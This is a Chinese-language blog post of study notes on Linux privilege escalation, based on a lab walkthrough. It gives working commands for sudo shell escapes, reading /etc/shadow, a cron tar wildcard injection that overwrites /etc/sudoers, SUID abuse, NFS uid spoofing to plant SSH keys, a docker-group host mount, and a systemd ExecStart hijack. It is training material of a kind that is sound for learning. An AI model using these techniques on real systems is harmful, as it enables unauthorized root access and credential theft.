Linux提权姿势

0x00 前言

本文是在阅读了in.security 提权靶场通关手册后学习的一点总结和记录,作为笔记供以后使用查阅。原文链接将附在文末。

0x01 信息收集

获取到一个shell后,要进行一系列的信息收集,以获取更多的提权思路。

  • 检测当前用户权限

    whoami id

  • 查看系统的发行版本和内核版本

    lsb_release -a uname -a

  • 查看suid文件

  • 查看运行的服务及安装的程序
  • 查看/etc/passwd文件及隐藏文件等

收集到的信息越多,越能找到更多的突破口。

0x02 提权方法

sudo 提权

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。普通用户可以通过sudo -l命令查看可以执行哪些命令。这样普通用户就可以在不知道root密码的情况下使用这些命令。因为用户使用sudo命令时需验证自己身份,因此这个方法需要知道普通用户的密码。

可以看到靶场bob用户可以使用awk curl man 等很多命令。

那么下面就这些命令展开利用,这里推荐一个在线查询工具:https://gtfobins.github.io/

sudo awk 'BEGIN {system("/bin/sh")}' 这里借助awk直接获取到root权限

接下来用man试一下

1
2
sudo man man
!/bin/sh

利用script

script -q /dev/null

利用curl读取root文件

curl file:///etc/shadow

其他的都可以通过上面的在线网站查找到利用方式,这里不一一例举了。

cronjobs 提权

如果系统管理员设置了计划任务并以root权限运行,比如周期性的运行某一个脚本,如果普通有权限修改这个脚本的话,便可以执行任意命令造成权限提升。

此外还有一个Crontab Tar通配符注入,当计划任务中以root权限进行tar命令操作时,可以造成通配符注入进行权限提升。下面在靶场中进行展示。

查看/etc/crontab,可以看到每分钟执行了backup脚本

查看backup内容,进行了tar打包操作,

然后便可以进行提权操作了

1
2
3
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1

等一分钟后,待计划任务完成,使用sudo bash,便会提升至root权限。

那么在第一步说到的信息收集中,查看/etc/crontab也应该被列为信息收集的一步,说不定就会有意想不到的收获。

所以在设定计划任务时要注意一些问题:

  • crontab任务千万不要写到/etc/crontab文件里。通过crontab -e去创建,让他写到默认的/var/spool/cron下;
  • 尽量避免使用root 去创建,如果一定要用root,要注意设置权限。

SUID 提权

suid是指二进制文件在执行时拥有其拥有者owner的权限,例如passwd命令

使用find / -user root -perm -4000 2>/dev/null 或者find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;查找所有owner为root且为suid的二进制文件

查看其中一个/usr/bin/taskset,在前面提到的在线网站GTFOBins查看命令

sudo taskset 1 /bin/sh直接获取到root权限

NFS 未授权

nmap扫描一下nmap -T4 -sS -Pn 192.168.111.122

发现了2049端口开启的nfs服务,nfs,英文全称Network File System,即网络文件系统,是由SUN公司研制的UNIX表示层协议,能使使用者访问网络上别处的文件就像在使用自己的计算机一样。

这里使用两外一台机器对其进行访问。

首先showmount -e 192.168.111.122查看可以访问的目录。

将其挂载到本地进行查看

我们在挂载的/mnt/peter目录是没有写权限的,但是由于其所有者uid设定1001,所属组gid设定1005,所有只需要本地创建一个uid为1001,gid为1005的用户即可绕过其权限验证。

创建一个符合要求的用户后,即可执行写操作了。

生成新创建用户boogle的ssh公钥对和私钥对。

因为现在又对peter家目录的写权限,所以现在可以直接将上面的公钥对写入到peter的.ssh目录下,这样便可以直接使用ssh登陆获取peter用户的shell。

docker 组用户提权

查看上面peter发现其属于docker组用户

docker组用户的权限还是非常大的,相当于root权限了。可以借助其提权到root权限。

思路参考:普通用户借助Docker容器提权思路分享

还有一个具体的利用代码:https://github.com/chrisfosterelli/dockerrootplease

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

systemd 配置提权

查看文件,并且peter用户有对其读写的权限。

修改其配置ExecStart指向我们自定义的二进制文件,其启动时便会以root用户执行这个文件。

创建一个systemdexpl.sh脚本,将/bin/bash文件复制到systemdbash并设置一个SUID位并且赋予执行权限

echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh

重启之前便会生成systemdbash文件

复制前面的ssh公钥到root用户下

然后便可以直接ssh登陆到root

0x03 参考链接

in.security 提权靶场通关手册上篇

in.security 提权靶场通关手册下篇

本文标题:Linux提权姿势

文章作者:boogle

发布时间:2019年09月24日 - 16:48

最后更新:2019年09月24日 - 16:49

原始链接:https://zhengbao.wang/Linux提权姿势/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗